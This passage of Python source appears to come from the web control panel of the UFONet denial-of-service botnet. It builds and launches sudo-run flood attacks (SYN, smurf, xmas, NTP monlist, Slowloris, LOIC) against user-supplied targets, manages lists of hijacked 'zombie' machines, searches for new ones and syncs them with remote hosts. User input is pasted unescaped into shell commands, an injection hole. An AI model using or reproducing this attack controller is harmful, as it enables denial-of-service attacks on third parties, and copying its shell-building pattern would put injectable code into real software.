  2460. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  2461. <tr>
  2462. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  2463. <tr>
  2464. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  2465. <tr>
  2466. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  2467. <tr>
  2468. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  2469. <tr>
  2470. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  2471. <tr>
  2472. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  2473. </table>
  2474. </td><td>
  2475. <table border="1" cellpadding="5" cellspacing="10">
  2476. <tr>
  2477. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  2478. <tr>
  2479. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  2480. <tr>
  2481. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  2482. <tr>
  2483. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  2484. <tr>
  2485. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  2486. <tr>
  2487. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  2488. </table>
  2489. </td><td>
  2490. <table border="1" cellpadding="5" cellspacing="10">
  2491. <tr>
  2492. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  2493. <tr>
  2494. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  2495. <tr>
  2496. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  2497. <tr>
  2498. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  2499. </table>
  2500. </td><td>
  2501. <table border="1" cellpadding="5" cellspacing="10">
  2502. <tr>
  2503. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  2504. <tr>
  2505. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  2506. </table>
  2507. </td>
  2508. </tr></table>
  2509. </center>
  2510. <hr>
  2511. """ + self.pages["/footer"]
  2512. self.pages["/lib.js"] = """function loadXMLDoc() {
  2513. var xmlhttp;
  2514. if (window.XMLHttpRequest) {
  2515. // code for IE7+, Firefox, Chrome, Opera, Safari
  2516. xmlhttp = new XMLHttpRequest();
  2517. } else {
  2518. // code for IE6, IE5
  2519. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2520. }
  2521. xmlhttp.onreadystatechange = function() {
  2522. if (xmlhttp.readyState == 4 ) {
  2523. if(xmlhttp.status == 200){
  2524. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2525. setTimeout("loadXMLDoc()", 3000);
  2526. }
  2527. }
  2528. }
  2529. xmlhttp.send();
  2530. }
  2531. function runCommandX(cmd,params) {
  2532. var xmlhttp;
  2533. if (window.XMLHttpRequest) {
  2534. // code for IE7+, Firefox, Chrome, Opera, Safari
  2535. xmlhttp = new XMLHttpRequest();
  2536. } else {
  2537. // code for IE6, IE5
  2538. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2539. }
  2540. xmlhttp.onreadystatechange = function() {
  2541. if (xmlhttp.readyState == 4 ) {
  2542. if(xmlhttp.status == 200){
  2543. if(cmd.indexOf("?")!=-1){
  2544. s=cmd.split("?")
  2545. cmd=s[0]
  2546. params=s[1]
  2547. }
  2548. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2549. //document.getElementById("cmdOut").scrollIntoView();
  2550. newcmd=cmd
  2551. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2552. return;
  2553. } else {
  2554. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2555. //do not refresh if certain text on response is found
  2556. if(newcmd.match(/update/) &&
  2557. (
  2558. xmlhttp.responseText.match(/Generating random exit/) ||
  2559. xmlhttp.responseText.match(/Biggest File/) ||
  2560. xmlhttp.responseText.match(/Abduction finished/) ||
  2561. xmlhttp.responseText.match(/Not any zombie active/) ||
  2562. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2563. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2564. xmlhttp.responseText.match(/Something wrong/) ||
  2565. xmlhttp.responseText.match(/Target url not valid/) ||
  2566. xmlhttp.responseText.match(/updated/) ||
  2567. xmlhttp.responseText.match(/For HELP use:/) ||
  2568. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2569. xmlhttp.responseText.match(/End of /) ||
  2570. xmlhttp.responseText.match(/Exiting /) ||
  2571. xmlhttp.responseText.match(/Bye/)
  2572. )
  2573. ) return;
  2574. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2575. return;}
  2576. }
  2577. }
  2578. }
  2579. if(typeof params != "undefined") cmd=cmd+"?"+params
  2580. xmlhttp.open("GET", cmd, true);
  2581. xmlhttp.send();
  2582. }
  2583. """
  2584. self.pages["/requests"] = self.html_requests()
  2585. self.pages["/board_profile"] = self.html_board_profile()
  2586. self.pages["/grid_profile"] = self.html_grid_profile()
  2587. def buildGetParams(self, request):
  2588. params = {}
  2589. try:
  2590. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2591. except:
  2592. path = re.findall("^GET ([^\s]+)", request)
  2593. if path:
  2594. path = path[0]
  2595. start = path.find("?")
  2596. if start != -1:
  2597. if path[start+1:start+7] == "zombie":
  2598. params['zombie']=path[start+8:]
  2599. return params
  2600. if path[start+1:start+7] == "target":
  2601. params['target']=path[start+8:]
  2602. return params
  2603. for param in path[start+1:].split("&"):
  2604. f = param.split("=")
  2605. if len(f) == 2:
  2606. var = f[0]
  2607. value = f[1]
  2608. value = value.replace("+", " ")
  2609. value = urllib.parse.unquote(value)
  2610. params[var] = value
  2611. return params
  2612. def save_profile(self,pGet):
  2613. # set values for profile configuration from html form to json file
  2614. if "profile_token" in list(pGet.keys()):
  2615. profile_token = pGet["profile_token"]
  2616. else:
  2617. profile_token = self.profile_token
  2618. if "profile_icon" in list(pGet.keys()):
  2619. profile_icon = pGet["profile_icon"]
  2620. else:
  2621. profile_icon = self.profile_icon
  2622. if "profile_nick" in list(pGet.keys()):
  2623. profile_nick = pGet["profile_nick"]
  2624. else:
  2625. profile_nick = self.profile_nick
  2626. # set new values on boardcfg json file
  2627. with open(self.mothership_boardcfg_file, "w") as f:
  2628. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2629. def save_grid(self,pGet):
  2630. # set values for profile configuration from html form to json file
  2631. if "grid_token" in list(pGet.keys()):
  2632. grid_token = pGet["grid_token"]
  2633. else:
  2634. grid_token = self.grid_token
  2635. if "grid_contact" in list(pGet.keys()):
  2636. grid_contact = pGet["grid_contact"]
  2637. else:
  2638. grid_contact = self.grid_contact
  2639. if "grid_nick" in list(pGet.keys()):
  2640. grid_nick = pGet["grid_nick"]
  2641. else:
  2642. grid_nick = self.grid_nick
  2643. # set new values on gridcfg json file
  2644. with open(self.mothership_gridcfg_file, "w") as f:
  2645. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2646. def save_cfg(self,pGet):
  2647. # set values for requests configuration from html form to json file
  2648. if "rproxy" in list(pGet.keys()):
  2649. frm_rproxy = pGet["rproxy"]
  2650. else:
  2651. frm_rproxy = self.rproxy
  2652. if "ruseragent" in list(pGet.keys()):
  2653. frm_ruseragent = pGet["ruseragent"]
  2654. else:
  2655. frm_ruseragent = self.ruseragent
  2656. if "rreferer" in list(pGet.keys()):
  2657. frm_rreferer = pGet["rreferer"]
  2658. else:
  2659. frm_rreferer = self.rreferer
  2660. if "rhost" in list(pGet.keys()):
  2661. frm_rhost = pGet["rhost"]
  2662. else:
  2663. frm_rhost = self.rhost
  2664. if "rxforw" in list(pGet.keys()):
  2665. frm_rxforw = pGet["rxforw"]
  2666. else:
  2667. if "update" in list(pGet.keys()):
  2668. frm_rxforw = ""
  2669. else:
  2670. frm_rxforw = self.rxforw
  2671. if "rxclient" in list(pGet.keys()):
  2672. frm_rxclient = pGet["rxclient"]
  2673. else:
  2674. if "update" in list(pGet.keys()):
  2675. frm_rxclient = ""
  2676. else:
  2677. frm_rxclient = self.rxclient
  2678. if "rtimeout" in list(pGet.keys()):
  2679. frm_rtimeout = pGet["rtimeout"]
  2680. else:
  2681. frm_rtimeout = self.rtimeout
  2682. if "rretries" in list(pGet.keys()):
  2683. frm_rretries = pGet["rretries"]
  2684. else:
  2685. frm_rretries = self.rretries
  2686. if "rdelay" in list(pGet.keys()):
  2687. frm_rdelay = pGet["rdelay"]
  2688. else:
  2689. frm_rdelay = self.rdelay
  2690. if "threads" in list(pGet.keys()):
  2691. frm_threads = pGet["threads"]
  2692. else:
  2693. frm_threads = self.threads
  2694. if "rssl" in list(pGet.keys()):
  2695. frm_rssl = pGet["rssl"]
  2696. else:
  2697. if "update" in list(pGet.keys()):
  2698. frm_rssl = ""
  2699. else:
  2700. frm_rssl = self.rssl
  2701. # set new values on webcfg json file
  2702. with open(self.mothership_webcfg_file, "w") as f:
  2703. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2704. def get(self, request):
  2705. # set request options of the user
  2706. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2707. if self.rxforw == "on":
  2708. cmd_options = cmd_options + " --xforw"
  2709. if self.rxclient == "on":
  2710. cmd_options = cmd_options + " --xclient"
  2711. if self.rssl == "on":
  2712. cmd_options = cmd_options + " --force-ssl"
  2713. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2714. runcmd = ""
  2715. try:
  2716. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2717. except:
  2718. res = re.findall("^GET ([^\s]+)", request)
  2719. if res is None or len(res)==0:
  2720. return
  2721. pGet = {}
  2722. page = res[0]
  2723. paramStart = page.find("?")
  2724. if paramStart != -1:
  2725. page = page[:paramStart]
  2726. try:
  2727. pGet = self.buildGetParams(request.decode('utf-8'))
  2728. except:
  2729. pGet = self.buildGetParams(request)
  2730. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2731. if os.path.exists("core/"+page[1:]):
  2732. try:
  2733. f=open("core/"+page[1:],'r',encoding="utf-8")
  2734. data = f.read()
  2735. self.pages[page]=data
  2736. except:
  2737. f=open("core/"+page[1:],'rb') # ajax map related
  2738. data = f.read()
  2739. self.pages[page]=data
  2740. elif page == "/js/ajax.js":
  2741. from .ajaxmap import AjaxMap
  2742. self.pages[page] = AjaxMap().ajax(pGet)
  2743. if page == "/cmd_check_tool":
  2744. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2745. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2746. if page == "/cmd_check_tool_update":
  2747. if not os.path.exists('/tmp/out'):
  2748. open('/tmp/out', 'w').close()
  2749. with open('/tmp/out', 'r') as f:
  2750. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2751. if page == "/cmd_list_army":
  2752. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2753. if page == "/cmd_list_zombies":
  2754. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2755. if page == "/cmd_list_aliens":
  2756. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2757. if page == "/cmd_list_droids":
  2758. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2759. if page == "/cmd_list_ucavs":
  2760. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2761. if page == "/cmd_list_rpcs":
  2762. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2763. if page == "/cmd_view_army":
  2764. if pGet=={}:
  2765. self.pages["/cmd_view_army"] = self.html_army_map()
  2766. if page == "/cmd_view_attack":
  2767. if 'target' in list(pGet.keys()) != None:
  2768. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2769. if page == "/cmd_test_army":
  2770. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2771. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2772. if page == "/cmd_test_all":
  2773. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2774. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2775. if page == "/cmd_test_offline":
  2776. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2777. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2778. if page == "/cmd_attack_me":
  2779. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2780. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2781. if page == "/cmd_attack_me_update":
  2782. if not os.path.exists('/tmp/out'):
  2783. open('/tmp/out', 'w').close()
  2784. with open('/tmp/out', 'r') as f:
  2785. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2786. if page == "/cmd_download_community":
  2787. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2788. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2789. if page == "/cmd_download_community_update":
  2790. if not os.path.exists('/tmp/out'):
  2791. open('/tmp/out', 'w').close()
  2792. with open('/tmp/out', 'r') as f:
  2793. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2794. if page == "/cmd_upload_community":
  2795. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2796. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2797. if page == "/cmd_upload_community_update":
  2798. if not os.path.exists('/tmp/out'):
  2799. open('/tmp/out', 'w').close()
  2800. with open('/tmp/out', 'r') as f:
  2801. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2802. if page == "/cmd_test_army_update":
  2803. if not os.path.exists('/tmp/out'):
  2804. open('/tmp/out', 'w').close()
  2805. with open('/tmp/out', 'r') as f:
  2806. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2807. if page == "/cmd_test_all_update":
  2808. if not os.path.exists('/tmp/out'):
  2809. open('/tmp/out', 'w').close()
  2810. with open('/tmp/out', 'r') as f:
  2811. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2812. if page == "/cmd_test_offline_update":
  2813. if not os.path.exists('/tmp/out'):
  2814. open('/tmp/out', 'w').close()
  2815. with open('/tmp/out', 'r') as f:
  2816. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2817. if page == "/cmd_test_rpcs":
  2818. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2819. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2820. if page == "/cmd_test_rpcs_update":
  2821. if not os.path.exists('/tmp/out'):
  2822. open('/tmp/out', 'w').close()
  2823. with open('/tmp/out', 'r') as f:
  2824. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2825. if page == "/cmd_attack":
  2826. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2827. cmd = ""
  2828. flag_ufosyn = None
  2829. flag_spray = None
  2830. flag_smurf = None
  2831. flag_xmas = None
  2832. flag_nuke = None
  2833. flag_tachyon = None
  2834. flag_monlist = None
  2835. nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2836. root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2837. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2838. if pGet["dbstress"]:
  2839. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2840. if pGet["loic"]:
  2841. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2842. if pGet["loris"]:
  2843. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2844. if pGet["ufosyn"]:
  2845. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2846. flag_ufosyn = True
  2847. if pGet["spray"]:
  2848. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2849. flag_spray = True
  2850. if pGet["smurf"]:
  2851. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2852. flag_smurf = True
  2853. if pGet["xmas"]:
  2854. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2855. flag_xmas = True
  2856. if pGet["nuke"]:
  2857. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  2858. flag_nuke = True
  2859. if pGet["tachyon"]:
  2860. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  2861. flag_tachyon = True
  2862. if pGet["monlist"]:
  2863. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  2864. flag_monlist = True
  2865. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2866. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2867. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  2868. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  2869. runcmd = cmd + end_cmd
  2870. if page == "/cmd_attack_update":
  2871. if not os.path.exists('/tmp/out'):
  2872. open('/tmp/out', 'w').close()
  2873. with open('/tmp/out', 'r') as f:
  2874. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2875. if page == "/cmd_inspect":
  2876. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2877. target = pGet["target"]
  2878. target=urllib.parse.unquote(target)
  2879. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2880. if page == "/cmd_inspect_update":
  2881. if not os.path.exists('/tmp/out'):
  2882. open('/tmp/out', 'w').close()
  2883. with open('/tmp/out', 'r') as f:
  2884. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2885. if page == "/cmd_abduction":
  2886. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2887. target = pGet["target"]
  2888. target=urllib.parse.unquote(target)
  2889. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2890. if page == "/cmd_abduction_update":
  2891. if not os.path.exists('/tmp/out'):
  2892. open('/tmp/out', 'w').close()
  2893. with open('/tmp/out', 'r') as f:
  2894. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2895. if page == "/cmd_search":
  2896. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2897. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2898. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  2899. if pGet["exclude_engines"]:
  2900. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2901. else:
  2902. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2903. else: # search using a search engine
  2904. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2905. else: # search using a pattern
  2906. if pGet["autosearch"] == "on": # search using auto-search mod
  2907. if pGet["exclude_engines"]:
  2908. runcmd = "(python -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2909. else:
  2910. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2911. else:
  2912. if pGet["all_engines"] == "on": # search using all search engines
  2913. if pGet["exclude_engines"]:
  2914. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2915. else:
  2916. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2917. else: # search using a search engine
  2918. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2919. if page == "/cmd_search_update":
  2920. if not os.path.exists('/tmp/out'):
  2921. open('/tmp/out', 'w').close()
  2922. with open('/tmp/out', 'r') as f:
  2923. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2924. if page == "/cmd_refresh_blackholes":
  2925. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2926. blackhole_ip = pGet["blackholes_source"]
  2927. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2928. try:
  2929. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  2930. f = open(self.blackholes, "w") # write updates to nodes.dat
  2931. f.write(blackholes)
  2932. f.close()
  2933. self.blackholes_text = blackholes
  2934. except:
  2935. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2936. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2937. f = open("/tmp/out", "w")
  2938. f.write(str(blackholes))
  2939. f.write(end_mark)
  2940. f.close()
  2941. if page == "/cmd_refresh_blackholes_update":
  2942. if not os.path.exists('/tmp/out'):
  2943. open('/tmp/out', 'w').close()
  2944. with open('/tmp/out', 'r') as f:
  2945. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2946. if page == "/cmd_refresh_news":
  2947. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2948. blackhole_ip = pGet["news_source"]
  2949. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2950. try:
  2951. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  2952. f = open(self.news, "w") # write updates to news.txt
  2953. f.write(news)
  2954. f.close()
  2955. self.news_text = news
  2956. except:
  2957. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2958. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2959. f = open("/tmp/out", "w")
  2960. f.write(str(news))
  2961. f.write(end_mark)
  2962. f.close()
  2963. if page == "/cmd_refresh_news_update":
  2964. if not os.path.exists('/tmp/out'):
  2965. open('/tmp/out', 'w').close()
  2966. with open('/tmp/out', 'r') as f:
  2967. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2968. if page == "/cmd_sync_wargames":
  2969. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2970. blackhole_ip = pGet["wargames_source"]
  2971. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2972. try:
  2973. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  2974. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2975. f.write(wargames)
  2976. f.close()
  2977. self.wargames_text = wargames
  2978. except:
  2979. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2980. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2981. f = open("/tmp/out", "w")
